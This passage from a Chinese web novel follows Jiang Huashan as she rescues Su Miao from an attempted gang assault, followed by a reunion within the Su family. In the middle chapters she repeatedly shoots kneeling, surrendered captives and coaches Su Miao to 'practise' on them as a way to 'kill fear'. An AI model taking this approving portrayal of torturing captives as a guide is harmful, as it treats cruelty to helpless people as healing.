苏韵面无表情掏出手机。 一条没有备注的短信。 【现在你家里有八个男人等着你,你有两条路可以走,一:回去杀了他们,试验结束。二:这是最后一次提醒,试验失败。】 “呵呵……” 苏韵笑了笑,忽然觉得嘴里的蛋糕好苦,好难咽。 就在这时,一个熟悉的电话打了进来。 苏韵眼里的情绪瞬间冷却。 但在泥泞中挣扎了这么久,她太知道情绪是最没用的价值。 等第二个电话进来,她才按下接听。 “苏小姐。” “苏韵,你在哪?对不起啊,我刚刚不是故意要说那些话伤害你的,我……” 苏韵看着眼前面目全非的小猫蛋糕,声音很轻,“苏小姐你不用解释,我都明白。” “不!你不明白!苏韵,你在哪?我们能见面聊吗?” 苏韵眼里的光渐渐沉于眸底,“我和苏小姐没什么好聊的。” “不是这样的,苏韵,我真的想告诉你路在哪里,你再相信我一次行不行?就一次,就这一次!” 苏韵沉默了许久,“好,但我不想去苏家了,苏小姐能来我家吗?” “……” 蛋糕店的店员忙碌了许久,等回过神时才发现角落的女孩已经不见了, 桌上的蛋糕剩了一半。 店员上前收拾桌面,这才发现奶茶下面压着十六元现金,店员轻叹了一声,略带惋惜摇了摇头。 * 另一边。 姜花衫从咖啡店出来就一直在给苏妙打电话。但不知道为什么,苏妙的电话永远都在占线中,几次无果,她只能改发消息。 【关你peaCe:你在哪?现在、立刻、马上联系我。】 信息发出去的瞬间,消息界面变成红惊叹号,发送失败。 【叮——】 【世界剧目规则五:审判剧目不可逃避。】 【剧目当前在逃人物+1:沈眠枝、周绮珊、苏妙】 【抹杀倒计时开始:6:00:00】 苏妙的杀局触发了。 就在刚刚。 而且相较于沈眠枝的逃脱时间,苏妙的时间又缩短了一倍,剧目之力对在逃人物监管更严了。 姜花衫置身茫茫人潮中,举目望着这被钢筋丛林包裹的欲望世界,这一刻,她对规则之力的恐怖有了更具象的认知。 时间紧迫,容不得她再犹豫,姜花衫拦下一辆出租车,上车后直接报了苏宅地址。 路上,姜花衫不停地给苏妙打电话,电话不通又继续发消息,她总抱有一丝侥幸,万一,万一苏妙能收到其中一条呢? 车辆一路穿过车水马龙,直到手机电格快要耗尽,那万分之一还是没有出现,就在姜花衫打算放弃这条路时,一通陌生电话打了进来。 姜花衫想也没想,立马接通。 “是苏爷爷吗?” 电话那面的人明显愣了一下,“你怎么猜到是我?” 苏妙偷了两千万这么大的事,苏家不可能不查,她又没有遮掩,苏家一定查到了其中一千万现在就在她的名下。 不过眼下没时间解释这么多,手机电量已经报警了。 姜花衫言简意赅,“苏爷爷,我知道您亲自打电话来一定是有重要的事想问,但请您相信我,您在意的那些现在都不重要,所以请您先回答我的问题,苏妙在家吗?今天有特别的人来过家里吗?” 苏敬琉短暂沉默了片刻,声音沉稳。“妙妙二十分钟前出去了,今天她邀请了一位客人来参加她的生日,说是新朋友,叫苏韵。” 苏韵?! 姜花衫怔愣,忽然好似被人当头棒喝豁然开朗。 上一世,苏韵和苏妙就只留下了一个,所以,苏妙的杀局是苏韵?! 可是茫茫人海,千方百计,苏韵的局会布在哪? * 苏宅。 厅里的草莓蛋糕被挖走了一块。 苏敬琉手里拿着电话,面带思索。 苏灼神情关切,“爷爷,沈家妹妹怎么说?” 苏敬琉回想着电话那头斩钉截铁的语调,“她说,‘我不是苏妙乱七八糟的朋友’。” 苏灼,“爷爷,您信了?” 电话里,老爷子一句没有质疑,反而优先回答了姜花衫的问题,这不是信任是什么? “沈家的女儿怎么会缺钱?她不缺钱为什么要收妙妙一千万?最关键的还是妙妙,到底什么事能让她心甘情愿偷家里两千万?” 苏敬琉站起身,“医院那边有消息了吗?” 苏灼,“暂时没有,不过我们的人已经接管了,应该很快就会有消息过来。” 苏敬琉眼中闪过暗芒,查不出就是最大的信息。 “去,备车。” …… 第310章 让子弹飞 中午阳光倾斜,原本暴露在阳光之下的暗巷又覆满了阴翳。 苏韵靠在满是苔藓的矮墙上,神情冷峻看着这条她走了无数次的深巷。 阴暗、潮湿、逼仄,罪恶丛生,即使偶尔阳光降临也无法改变它肮脏腐朽的本质。 “苏韵!” 苏韵抬头,苏妙站在楼道前,边喘着粗气边向她跑来。 “可算找到你了,我……我有话跟你说。” 苏韵回头看了巷口一眼,眼神平静,“有什么话等回去再说吧。” 苏妙没多想点点头,这才认真打量起眼前的环境。 她从来没见过这么破烂的房子,表情复杂,“你……一直就住在这?” 苏韵,“是啊,苏小姐是嫌脏吗?” “不是。”苏妙连忙摆手,“我不是这个意思,你家在哪啊?我正好也想去看看。” 苏韵指着暗巷的路口,“从这条小路拐过去,第三栋矮房就是了。” 苏妙点点头,解下背包递给苏韵,“那个,我不知道怎么跟你解释,刚刚的事是我不对,第一次上门不能空手,这个你拿着。” 苏韵看了看自己身后的背包,苏妙立马收了回去。 “没事,等到家里再拿也一样。” 苏韵点头,“走吧。” 两人并肩,一起走进了深巷。 这条路,苏韵走了无数次。 小时候害怕,总会等着赵棠一起,后来她和赵棠时间总凑不到一块,慢慢地,她学会了一个人适应,但不管怎么适应,她依旧无法直视这里曾经带给自己的恐惧。 既然逃离无用,那就斩断它! 所以,周宴珩的路,她不会选,从今以后她再也不会走别人替她选择的路,她自己的命,自己去搏! “这就是你家吗?” 两人站在发黑的水泥房子前,唯一的铁门锈迹斑斑。 苏妙的眼神里带着怜悯。 苏韵笑了笑从口袋里掏出钥匙,钥匙转动轴体,咔嚓一声,门打开。 她拉开半幅宽度,抬手准备替苏妙拿包,“苏小姐,你知道吗,我真的很羡慕你。” 说着,她的手轻轻搭上苏妙的肩膀。 苏妙看着她,配合着背过身。 苏韵双手按住背包两侧的肩带,眼眸闪过一丝厉色,掌心向前把人推进了铁门之内,不等苏妙反应,一把关上了铁门。 “砰——”的一声巨响。 锈铁应声落下不少尘屑。 “啊!!!!” 屋内响起一声尖叫。 “你们是谁!你们想干什么!” 苏韵转身,决绝离开。 眼前还是那条暗巷,但现在她已经无畏无惧。 如果苏妙出了事,苏家一定会彻查,苏莉、以及苏莉背后的所有人都逃不过,到时候苏家人就会知道她的身份。 这是她替自己选的路,即使遍布荆棘,即使罪无可恕她也不在乎了。 苏韵一个人在暗巷独行。 忽然,她听见巷道里传来一阵急促的脚步声。 她先是警惕,等那人拐进视线时,荒芜的眼中满是震撼。 一个女生,戴着粉色鸭舌帽,背着粉色双肩包疾步冲进暗巷,她来时,阳光随她而动,她身后的路一片片都是光。 苏韵说不上什么感觉,站在原地静静看着她。 可女生从头至尾都没有看她一眼,仿佛她只是一阵空气目不斜视直接越过。 “……” 她认识她,育才人人都艳羡的鲸港公主,姜花衫。 苏韵转过身,目光紧随那道渐行渐远的背影。 这一刻阳光变成了移动的幕布,紧随它的女主角。 * 潮湿阴暗的屋内,苏妙被拖进没有光照的房间。 温暖的羽绒被撕成碎片,白鸭绒在半空中打着旋。 她嘴被胶布封死,眼神空洞看着打旋的羽毛,身上的衣服越来越少,衣角被掀开的瞬间,她放弃了。 这一刻,她唯一庆幸的是,她不是苏家的女儿。 这样,即便她死了,也不会让苏家蒙羞。 【抹杀倒计时:03:00:03】 苏妙闭上眼,咬住舌头。 “怦——!” 一声巨响! 不知什么倒下了,阳光钻了进来。 “砰——” 又一声响动,滚烫的血水喷溅洒在她的脸上。 苏妙缓缓睁开眼,白色鹅毛落在她的鼻尖,下一秒,她听见了救赎的声音。 “苏妙,别怕。” * 砰——砰——砰—— 棚户区接二连三响起枪声,一声比一声密集。 苏韵站在原地,不敢相信看着水泥房子的方向。 有那么一瞬间,她仿佛看见一颗子弹从铁门射出直击她的眉心。 “嗯?竟然不是你开的枪?” 苏韵怔然,回头,脸色霎时苍白如纸。 周宴珩不知什么时候走进了暗巷,他本来就是个魔鬼,融入黑暗的他看上去比平时更危险,连笑容都让人不寒而栗。 苏韵防守后退,眼前的局面让她不知所措。 周宴珩抬眸往枪声的地方看了一眼,略有几分兴趣,“你把枪给别人了?” 苏韵摇头,“没…有。” 周宴珩顿觉索然无味,双手插兜往深巷走去。 “砰—砰—砰砰砰砰砰砰砰砰砰砰——” 水泥房子前的铁门摇摇晃晃。 周宴珩偏头摸了摸耳朵,这是哪个小疯子?这在放鞭炮呢? 他兴趣更大了,扯着嘴角朝铁门走去。 刚走到门口,就听见里面传来熟悉的声音。 “都跪好。” 姜花衫穿着黑色毛衣,手把手托举着苏妙的手,“这是扳机,打不着一直打,子弹打完了也没有别怕,背包里还有。” 粉色的背包敞开,里面数不清的补给。 苏妙身上披着黑色的冲锋衣,头丝凌乱,眼神混沌,她连枪都握不住,更别提开枪。 姜花衫却教的很有耐心,牵引着她的手,“别怕,这次试试爆头。” 说罢对着其中一个男人的头,扣下扳机。 “砰——” 又一声枪响。 子弹打穿了男人的肩膀,血窟窿爆开,哀嚎声盖过了枪声。 “啊呀呀,偏了!没关系,再补一枪就好了。” 话落,男人的腿又中了一枪。 “没事没事,这次肯定能打中。” 姜花衫语气温柔,像极了幼儿园的启蒙老师,“你看,他们根本不敢反抗的。虽然我只有一把枪,一次只能打中一个人,可是他们谁都不敢做第一个扑上来的人,因为他们怕死。” “苏妙,看着他们,直视你内心的恐惧,杀了他们,杀死恐惧。” 气氛一下变得凝固。 赵肆找来的都是亡命之徒,眼见再这么下去没有活路,其中两人相互交换眼神,同时站起身准备反扑。 说时迟那时快,姜花衫从腰间掏出一支巴掌大的改良手枪。 砰的一声,其中一人应声倒下,下一秒,她举枪对准另外一个人,“不好意思,我会爆头,不仅会,还很准。” 说罢,再次叩响扳机,男人来不及反应,眉心多了一道窟窿。 “好了,其他人都跪好,小垃圾要练手了。” …… 第311章 暗巷之外 砰——砰—— 扳机叩响,子弹穿破气流划分光影,是对这个世界宿命的最好回击。 血水蔓延了一地,痛苦、哀鸣、恐惧、在阳光下挣扎。 周宴珩嘴角的笑容渐渐凝固,深邃的眸底燃起颤动的幽光。 他喜欢这种感觉,就像某种禁忌仪式,他被诱惑主动献上了自己的心脏,但在心脏被捏碎前,他会一口咬住她的脖子,然后将她拖进身下的巨网,看看是他的心跳先停,还是她的脖子先断? 对他来说,现在听到的每一声枪响,都是这场禁忌仪式开始前的吟唱。 “怦——怦——怦———” 被扼住的心跳越来越急促,仿佛有某种不可控的念头在疯狂滋长,这种念头很上瘾,让他莫名兴奋,甚至比屠杀、XA更有快感。 他站在黑暗中,注视着她。 * “怎么会有枪声?” 苏莉被吓的六神无主,踮着脚看向棚屋的方向,“赵哥,是不是出事了?” 赵肆神情凝重,他们要做的事不能声张,再加上对方不过是个丫头片子,所以那几人什么都没带。 不好! “赵……哥?” 苏莉见赵肆不语,心里更加没底,小心翼翼拉了拉赵肆的胳膊。 赵肆顿然暴怒,一把抓过苏莉两耳光扇了过去。 “你个蠢货,你不是说都安排好了吗?这次要是出了什么事,老子扒了你的皮!” 苏莉被打懵了,许久才回过神,抱着赵肆的腿嚎啕大哭,“赵哥,我……” 事关重大,赵肆根本没耐心跟苏莉废话,抬腿对着女人的心窝踹了一脚,苏莉连声惨叫瘫倒在地。 赵肆犹不解气,又补了几脚,直到苏莉完全没有反应才罢手。 “老大。” 负责望风的小弟从外面走了进来,“枪声的确是从房子里传来的,现在动静越来越大,已经有人报警了,怎么办?” 赵肆烦躁地抓了抓光洁的脑门,掏出手机联系善后人员。 他们之所以挑在这里下手,就是因为棚户区的公共治安也在傅家的管控之内。 一分钟后,对方应下,赵肆这才松了一口气,叼着烟往外走。 “出去看看怎么个回事?” * A国的禁枪令已经有百年历史,居民区发生枪战引起了周遭所有居民的恐慌,众人纷纷逃离家宅远离事故中心。动静越闹越大,外面的人流也越聚越多。 有人说仇杀,有人说情杀,还有人说是恐怖袭击,一时间流言四起说什么的都有。 赵肆隐没在人群里,伺机观望。 “警察来了!” “可算是来了,这下总算能安心了。” 看热闹的人群自动让出通道,七嘴八舌开始汇报情况。 “长官,那些歹徒残暴至极,弹药充足,噼里啪啦跟打鞭炮似的!” “他们枪法应该不准,听见屋里一直有人叫!” 来人正是负责棚户治安片区的陈厅长,也是傅家安排善后的爪牙。 不管那八个人现在是死是活,绝不能出现在公众面前,所以最好的办法就是用正大光明的方法带走,然后再秘密处理掉。 陈厅长很快在人群里找到了赵肆,两人目光短暂交汇,穿着警署制服的男人沉声下令,“先疏散人群,禁止围观妨碍公务,其他人人武装准备,里面歹徒若有抵抗一律绞杀。” “滴——” 就在人群一致往后疏散时,一辆黑色加长版林肯轿车缓缓驶入拥挤的水泥路面。 “这谁啊?没听见吗?不能再往里面去了?” 沸腾的人潮被强势一分为二。 陈厅长回头看了赵肆一眼,给身边下属使了个眼色,警署厅的人掏出警察证上前拦车。 “停车!立刻调头,否则将以妨碍公务罪逮捕你。” 车辆缓缓停下,高止率先下车,绕过车头拉开后车门,沈兰晞从车里走了下来。 少年芝兰玉树,眉眼俊逸,但眼神淡漠矜贵,与他怀里粉色玫瑰形成了巨大的反差。 “高止。” 高止颔首,朝拦路的小队员做了个滚的动作。 鲸港城可是个富贵窝,沈兰晞的气场摆在这,陈厅长一时不敢得罪,正犹豫该如何劝说,身后的下属脸色微变,上前小声说道,“老大,这位是沈家太子爷。” 陈厅长眼皮跳了跳,半转过身子,“你没看错?” “错不了。” 陈厅长暗叫倒霉,再次转过身时,嚣张气焰荡然无存,男人笑着恭维,“沈少爷,前面危险,您千金之躯可不能冒险。” 沈兰晞扫了他一眼,“陈虎,海湾人?” 陈厅长怔愣。 陈虎是他之前的名字,洗白后便一直以陈永安自称,而且他的档案背调记录的是鲸港本地人。 眼前的少年仅用五个字就让他遍体发寒。 沈家人怎么会出现在这? 赵肆也意识到情况不对,随着人群慢慢往后退。 “滴——” 就在这时,拥挤的水泥路面连续开进五辆黑色轿车,直接把棚户区的入口给堵死了。 “这又是谁啊?” “瞧着气派十足,大人物啊!” 不等众人反应过来,五辆黑色轿车同时打开车门,每辆车里下来四个西装笔挺的壮汉。 苏灼绕过车头,拉开车门,弯腰扶手,“爷爷。” 但见一只挂着沉香珠串的手慢慢伸了出来,轻轻拍了拍苏灼的胳膊,苏灼后退一步,里面的人低头下车。 沈兰晞神情微动,犹豫片刻,转身走上前,淡淡颔首,“苏爷爷。” “哦,兰晞也在啊?” “!” 陈永安脸色大变,能让沈家太子低头叫声苏爷爷的这鲸港城还能是谁? 容不得他多想,陈永安赶紧小跑上前,“苏老。” 苏敬琉直接闭上眼。 “陈永安,你乱七八糟在这瞎指挥什么?” 这时,另一群身穿警署制服的治安人员赶到。 “署长?”陈永安看着突然出现在眼前的顶头上司,哪还有什么不明白的?他这是踢到铁板了。 来人黑着脸,劈头盖脸一顿臭骂,“里面情况不明?你又禁路又绞杀,这是要挑起民意恐慌?!” 这种情况根本容不得陈永安辩解,他只能低头伏小,“长官说的是,是我欠考虑的。” 吕署长直接下令,“所有人听我调令,随我入巷。” 赵肆眼看事情败露没有转机,转头准备撤退,不想刚走两步眼前的路就被人阻断了。 * 与此同时,苏韵正躲在满是苔藓的土墙后。 她原本想混在惊慌的人群里一起逃跑,但考虑到苏莉发现情况有变或许会在前面等着她,她不敢冒险只能找了条暗缝躲了起来。 嘈杂的声音渐渐平息,苏韵捂着失序的心跳大气都不敢喘。 她的脑子现在很乱,好像所有的事情在这一天都变了模样。 忽然,巷口传来脚步声。 苏韵的心一下又提了起来,是周宴珩吗?他回来抓她了? 阳光从斜缝中洒下,最先映入眼帘的是一束娇艳的粉色玫瑰。 是花。 潮湿阴暗的黑巷,有人携花而来。 那人身姿颀长,黑色的风衣微微扬起,俊美的侧脸染着金色的熹光。 他从眼前狭小的世界一越而过,短暂地几乎来不及眨眼就消失了,偏偏花香留了下来,漫过了周身的野草味。 …… 第312章 你是爷爷亲自挑选的亲人 “砰——砰——砰——” 即使枪支经过改良,也经不起半个小时连续不断的轰炸。 姜花衫抬了抬发麻的胳膊,声音没有一丝不耐。 “什么都不要想,你就看着他们。看见了吗?他们在流血,在求饶,你害怕的他们也害怕,恐惧谁都有,你要做的不是战胜它,是杀死它。苏妙,开枪!” “砰——” 扳机扣下,姜花衫的手有些脱力,恰是这时,那双被她握着的手忽然用力,主动握住的枪把,弹道偏离打破了窗户。 玻璃碎裂,光影从裂缝中照了进来。 姜花衫眼里的笑意深了几分,“自己可以吗?” 苏妙眨了眨眼睛,无光的眼神渐渐清明,“可以。” 姜花衫松手,苏妙哭着大喊了一声,连续扣下扳机,子弹飞快毫无章法。 但不要紧,因为她瞄准的不是人,是她的恐惧。 三十发子弹眨眼全部放空,苏妙大口喘着气,死死看着眼前被打成筛子的作恶者。 “还要练吗?” 苏妙摇头,怔怔看着手里的枪。 “妙妙!!!” 忽然,耳边传来熟悉的声音,她的思绪再次被拉回眼前的世界。 苏妙抬头,身体微微颤抖。 苏灼神情慌张,急不可待冲进房间,待看见屋内的惨景一把抱住苏妙,“别怕,哥哥来了,别怕!” 苏敬琉面上看不出情绪,可几乎是跑着进屋的动作还是出卖了他,环顾屋内,眼底隐隐泛着水光。 “妙妙……”苏敬琉蹲下身,半跪在血水里,轻轻抚摸女孩儿乱糟糟的头发,“爷爷来晚了。” 苏妙摇头,荒芜的眼底透出一丝微亮,她轻声说道:“爷爷,对不起,其实我不是您的孙女。” 话音一落,苏妙头顶的绿色标签在阳光里消散,成了这世间最微不足道的尘埃。 【叮——】 【抹杀倒计时结束。】 【恭喜当前人物苏妙完成杀死恐惧。奖励:你是诚实的孩子,善良是你底色,剧目世界为正义让步,欢迎您自由探索。】 姜花衫怔然,原来这才是苏妙心底真正的恐惧。 她连死都不怕,却害怕自己不是苏家的孩子。 【叮——】 【剧目当前逃生人物+1:姜花衫、傅绥尔、苏妙】 【当前章节主线偏离,现在为您生成最新篇章。】 【生成完毕——】 【原章节剧目——《惨死!荒诞的真相》更改为《你是爷爷亲自挑选的亲人》】 【为剧目世界载入当前剧情:第三百一十二章--《你是爷爷亲自挑选的亲人》】 【警告:当前主线剧情偏离26%。】 【警告:主线偏离90%,剧目世界将毁于一旦。】 剧目世界就像疯了一样,不停地报幕,姜花衫忽然意识到什么,转头看向苏敬琉。 苏敬琉指尖颤抖,隐忍的泪水模糊了眼底,“你就是因为这个才受伤的?” 苏妙不敢抬头,“对不起爷爷,对不起。我不敢说,我怕你们不要我……” 苏敬琉,“爷爷不会不要你,你就是爷爷的孙女。” 苏妙摇头,“我不是,我真的不是。” 苏敬琉轻轻拍着苏妙的背,语调温和,“你是,妙妙,你是爷爷亲自挑选的亲人。” 苏妙眸光一怔,眼中满是不解,喃喃道:“我是爷爷亲自挑选的亲人?” 苏敬琉点头,“十六年前,你母亲刚刚诞下女婴就被贼人偷走了,她伤心欲绝毫无生志,爷爷不忍看你母亲蹉跎自己,便在医院的众多弃婴里抱养了一个女婴。那个女婴就是你。” “你母亲因为你的到来,重新活了过来,就算没有血缘,你怎么能说她不爱你呢?” 苏妙愣了片刻,哇的一下哭了出来,紧紧搂着苏敬琉,“对不起爷爷,对不起!” 姜花衫瞬间恍然,原来这才是真假千金背后的真相。 苏家一开始就知道苏妙不是自己的孩子,并非是苏莉换了孩子,而是苏敬琉自己选择了苏妙,他们对她视若珍宝,取名为妙,从来都不是她抢了谁的位置,而是苏家人明知而为的结果。 这样的确就解释了为什么苏妙在苏家这么多年都没有被发现,如他们这样的家族,所有家族成员从出生开始都会建立自己的血库信息,为的就是以防万一。 苏敬琉知道她受了委屈,轻声安抚,“怪爷爷,爷爷担心告诉你真相后,你会对亲生父母好奇跟我们离了心这才瞒着你。” “哐——” 铁门发出一声震响。 屋里的人同时转去目光,苏韵脸色苍白跌坐在门口。 苏敬琉眸光微动。 苏妙抹了抹眼泪,声音极轻,“爷爷,她就是……” 苏敬琉点头,“爷爷知道。” 苏灼站起身走到门口,犹豫片刻向苏韵伸出一只手,“你就是阿韵吧?” 苏韵缓缓抬头,一动不动看着眼前的少年,她没有说话,看了片刻又转头看向屋里的苏敬琉。 苏敬琉摸了摸苏妙的头,起身慢步走到苏韵面前,“跟爷爷回家吧?” 水泥房子的枪声最终被粉饰太平。 苏妙和苏韵一起被接回了苏家。 姜花衫收拾背包准备功成身退,突然,有人给背后献上了一捧粉色玫瑰。 “做的很好,下次不许了。” “……” 第313章 真假谎言 苏宅。 听闻两个女儿都回来了,苏母喜极而泣,局促不安守在院外。 车灯亮起长灯,苏管家难掩激动,“夫人,老爷子他们回来了。” “菩萨保佑!菩萨保佑!”苏母急不可待冲上前,“妙妙,阿韵!” 她看过传回来的资料,一眼就记下了女儿的名字。 苏韵与苏灼同车,从上车后她一直保持沉默,眼神不受控制细细打量车里的环境,看的入神不小心与苏灼对视上,她又会若无其事回避。 苏灼并不见怪,他知道苏韵需要适应。 一路上,两人都没有说话。 车辆直接驶入庭院闸道,苏灼先下车,然后替她打开车门。 “到家了。” 苏韵有些恍惚,一是她从未被如此认真对待过,二是家的词让她有些陌生。 她伸出手,想扶着车门下车,却发现手抖的厉害。 她暗骂自己矫情,明明眼前这一切是她梦寐以求的,现在近在眼前怎么突然害怕了? 苏灼察觉到她的不安,轻轻握住苏韵的手,“下来吧,有人在等你。” 苏韵感受到了掌心的温暖,搭着苏灼的手弯腰走下车。 没等她站稳脚步,一道身影从眼前越过,一把将她搂在怀里。 “我的女儿啊!我的囡囡啊,你终于回来了!”苏母神情激动,抱着苏韵又哭又笑。 苏灼有些无奈,“妈,你这样会吓着阿韵的。” 苏母这才反应过来,抹了眼泪搂着苏韵细细打量,“吓着你了?都怪我不好,都怪我不好。” 苏韵摇头,她从小就没有被人抱过,苏莉从不抱她。 苏母沉浸在母女重逢的喜悦,满脸红光,回头打量,“妙妙呢?她把姐姐带回来了,我还没好好夸夸她呢。” 提起苏妙,苏韵的脸色微僵,默默低下了头。 苏灼,“妙妙受了点伤,爷爷带她去医院了。” “受伤了!怎么会受伤呢?”苏母脸上的笑容荡然无存,一脸紧张拉着苏灼,“在哪个医院啊?医生怎么说?伤哪了?严不严重啊?” 苏母生产时大出血,又因为女儿失踪产后抑郁,当年如果不是苏敬琉抱回来的一个女婴,她或许连命都保不住。 这些年一直精养着,身体倒也没什么问题,但苏灼也不敢刺激她,便委婉道,“您别一惊一乍地吓自己,就是点小伤,爷爷不放心才去医院的,过会儿就回来了。” 闻言,苏母脸上的担忧才褪了不少,为免苏韵觉得被冷落,苏母拉着她的手,细心解释,“这些年我全靠妙妙撑着,若没有她我只怕等不到今天。” 苏韵点了点头。 苏灼看出她的不自在,立马打圆场,“这里风大,有什么回家说吧?” “对对对!”苏母抹了抹眼角,“回家。” 苏宅楼院是联排洋楼,苏母拉着苏韵的手细细分说,“主楼是你爷爷的寝居,我和你父亲住在东楼,你父亲现任国务院主理,国会那边大换血,他这会忙得不可开交,不过听说你回来了,他也很高兴。妙妙和阿灼住在西楼。哦,苏灼,你哥哥的名字,他大你三岁,现在是军政学府的学生。” 苏韵点头,从见到苏母后,她除了点头就是摇头,一直没有开口说话。 两人脚步一顿,来到了一栋花房前。 苏母往前指了指,“这是你的房间,南楼。” 苏韵微愣,她的房间? 苏母指着花房上的牌匾,苏韵这才看见上面写着相思两个大字。 “进去看看?” 苏母拉着苏韵的手,推开南楼的对门…… 星光骤然亮起。 白色蕾丝的梦幻窗帘,比星星还亮的水晶大吊灯,像云朵一样的沙发,眼前的一切就像是童话故事里的仙女挥动了魔法棒,把公主的城堡送到了她的面前。 苏韵含在眼里的泪水夺眶而出,苏母抬手,轻轻替她擦去脸上的泪。 “我知道你心里一定有疑问,为什么要收养别的孩子?为什么不找你?” 苏韵再也抑制不住满心的愤懑和委屈,轻声质问,“为什么?” 苏母,“阿韵,你一定要相信,妈妈、爸爸、爷爷,我们从来没有停止过寻找你,可是……找不到啊!偏偏就是找不到。” “这些年,你究竟去哪了?” * 鲸和医院,VIP病房。 苏妙已经收拾干净,正坐在病床上发呆,多亏了姜花衫及时赶到,她并没有受到实质伤害。 苏敬琉看着手中的检测报告总算放了心。 “妙妙,在想什么呢?” 苏妙回神,转头看向苏敬琉,“爷爷,那个女人真的是我的母亲吗?” 苏敬琉本不想跟孩子说这些,但苏妙眼神坚持,他只能妥协,“她只是给了你生命,但不配称为母亲。” “这样啊……”苏妙喃喃自语,又问道,“爷爷说我是弃婴,所以我是被那个女人抛弃的孩子,并不是她口中说的用我交换了苏韵?” 苏敬琉一想到因为一个谎言险些失去孙女,难得情绪外泄。 “妙妙,对于阿韵你无须愧疚。如果真的要算孽债,那也该算到爷爷头上,因为是爷爷先选择了你,那些人才选择了苏莉。阿韵的因果不在你身上,在爷爷身上。你记住,虽然我们之间没有血缘,但你就爷爷的孙女,这辈子我们注定要成为家人的。 所以以后不管发生什么事,都不要再隐瞒爷爷了,好不好?” 苏妙哭着点头,“好。” 苏敬琉轻轻拍着她的肩膀,眼眸情绪难辨,“这里没有外人,你告诉爷爷,是谁害的你?” 苏妙眼神闪过一丝细光,许久后,她低下头,“是我自己不小心走进圈套的。” 苏敬琉沉默半晌,摸了她的头,“今晚想回家吗?” 苏妙摇头,“不想,我可以住医院吗?” “可以,爷爷去安排。” 苏敬琉站起身,动作迟缓走到门边,手刚搭上把手,身后的人突然叫住他。 “爷爷……” 苏敬琉指尖一顿,还没回头,就听见一道极轻的声音传来。 “对不起,我刚刚又撒谎了。” 苏敬琉缓缓闭眼,心痛无比,“爷爷知道了。” …… 第314章 九朵粉玫瑰 菊园。 张茹正在给姜花衫上药,打了几个小时的抢,她的虎口和胳膊都肿了。 “这凡事得有度,讲究循序渐进,你一天就把手练废了,以后可就练不了了,今天的功岂不白废了?” 张茹并不知道她做了什么,只当是练枪练的走火入魔了,一脸心疼。 姜花衫笑着打趣,“哟,张妈也懂讲大道理了?” 张茹故作嗔怪瞪了她一眼,“我怎么不懂?这跟煲汤是一个道理。你要想让汤底浓厚,不能上来就大火烧,你得小火慢慢炖,熬它个七八个小时才能有那味。” 姜花衫严肃点头,“受教了。” 张茹知道她没往心里去,但也没有勉强,站起身,“我去给你盛碗汤。” 姜花衫看着张茹,“张妈?你想出去吗?” 张茹愣了愣,不解看着她,“去哪?” 姜花衫想了想,“去哪都行,去做自己喜欢的事,去看更广袤的世界。” 在她的记忆里,张茹好像永远都在厨房忙碌,她的世界小到只有沈园。 张茹摇头。 这会儿反而换姜花衫疑惑了,“为什么不想?如果你担心钱,我可以……” 张茹笑了笑,“不是钱的问题,是因为……我现在就在做自己最喜欢的事。” 姜花衫怔愣,一时没有反应过来。 张茹指了指窗台,玻璃花瓶里的粉色玫瑰开的正艳,“小姐要是实在无聊就多看看花,别尽想着乱七八糟的事情。” 姜花衫,“……” 张茹转身回去厨房忙碌。 姜花衫凝眉,趿拉着乌龟拖鞋走到窗台边。 粉色玫瑰开得娇艳欲滴,不多不少正好九朵。 这一个个怎么都怪怪的? 沈兰晞也是。 今天的事他一定察觉出了什么,但他一点反应都没有,甚至看见一地半死不活的枪靶连眉头都没有皱一下,这可不是他的做派。 莫名其妙出现在咖啡馆,又莫名其妙出现在棚户区,还莫名其妙送她花…… 奇奇怪怪,陌生地都不是沈兰晞了。 * 兰园。 沈兰晞正靠着窗边看月亮,眼神清冷眷恋。 “少爷。”高止推门走了进来,手里还抱着一沓资料。 沈兰晞转眸,再抬眼时只剩淡漠,“挑重要的说。” 屁事多,高止在心里暗暗啧了一声,手脚麻利选了其中几份文件递上前。 “少爷,苏家这次是被人针对了,那个苏韵……” 沈兰晞兴趣不大,“换一个。” 苏家这么大的顺水人情不要了? 高止又想到一个,“有了!少爷,西林区的教会……” 沈兰晞指尖点了点桌面。 高止没忍住,白了沈兰晞一眼,从一堆资料里抽出半沓,“这是姜小姐这段时间的日常作息。” 沈兰晞眼睑撩了撩,淡淡接过。 死装! 高止看破不说破,继续补充,“之前瞧着没什么问题,但如果从结果反推,这里面所有的日常都有蹊跷。就拿国贸大楼那件事来说,沈家暗堂、明线所有的势力出动都没有线索。反观姜小姐,从沈园出来哪都没去直奔国贸,就像是提前预知了一样。” 沈兰晞一页一页翻看,没有接话。 “还有,周家那个小丫头,姜小姐跟她平时并无交集,偏偏在她最需要的时候姜小姐去了周家,甚至为了她,还来求少爷您。” 高止摸了摸下巴,逐帧分析,“明明那么讨厌少爷,却为了不相干的人求情,反常!不对劲。” 沈兰晞撩眸,淡淡看了高止一眼。 高止假装没看见,丝滑转场,“还有那个傅潇潇,虽说姜小姐跟她不合,但之前两人顶多就是言语冲突,可最近几次,姜小姐完全不讲道理直接上手,她那么懒还亲自打人,反常!有嫌疑。” 沈兰晞不置可否。 早在他第一眼看见姜花衫进咖啡馆,他就知道傅潇潇被算计了。 哪个小姑娘喝咖啡带两把枪,一背包子弹的? 这都容忍了? 高止上下打量沈兰晞,果然在山里待久的少爷就是好骗,随便一个漂亮小姑娘朝他招招手,他就没了原则。 沈兰晞仿佛头顶长了眼睛,一眼看破高止眼中的僭越,语调寻常,“眼睛不想要了?” 耶?竟然还有脑子? 高止赶紧戴上墨镜,以免不小心流露了真情实感。 沈兰晞没空训猴,“东西放下,出去。” “是。” 利用完就扔,无情的少爷。 高止刚转身,沈兰晞忽然想到什么又叫住他。 “那封邮件背后的主人是谁,查到了吗?” 三天前,沈兰晞的邮箱被人秘密侵入,那人什么资料都没拿,反而留下了一封信。 也正是因为那封信上的线索,沈兰晞才注意到了傅家,知道了傅潇潇的谋算。 高止神情凝重了几分,“还没有。” 沈兰晞并未责怪,“继续查,把之前的资料都销毁,找人重新建数据库。” “是。” 热茶转凉,茶汤一口未动。 少年半倚着罗汉床一页一页翻看着有关姜花衫的日常。 他那么聪明,窥一斑而知全豹,所有细碎的线索连在一起交织成了一张巨大的情报网。 十五岁初见,她指着他的鼻子,污言秽语,是他从未见过的一类人。 可现在再回头看,她的每一次逾矩都是恰如其分的刚刚好,绥尔是,眠枝是,周绮珊是,现在就连苏妙也是。 沈兰晞抬头,看着夜空中的皎皎明月。 * 南湾。 沈归灵正坐在落地窗前看手机。 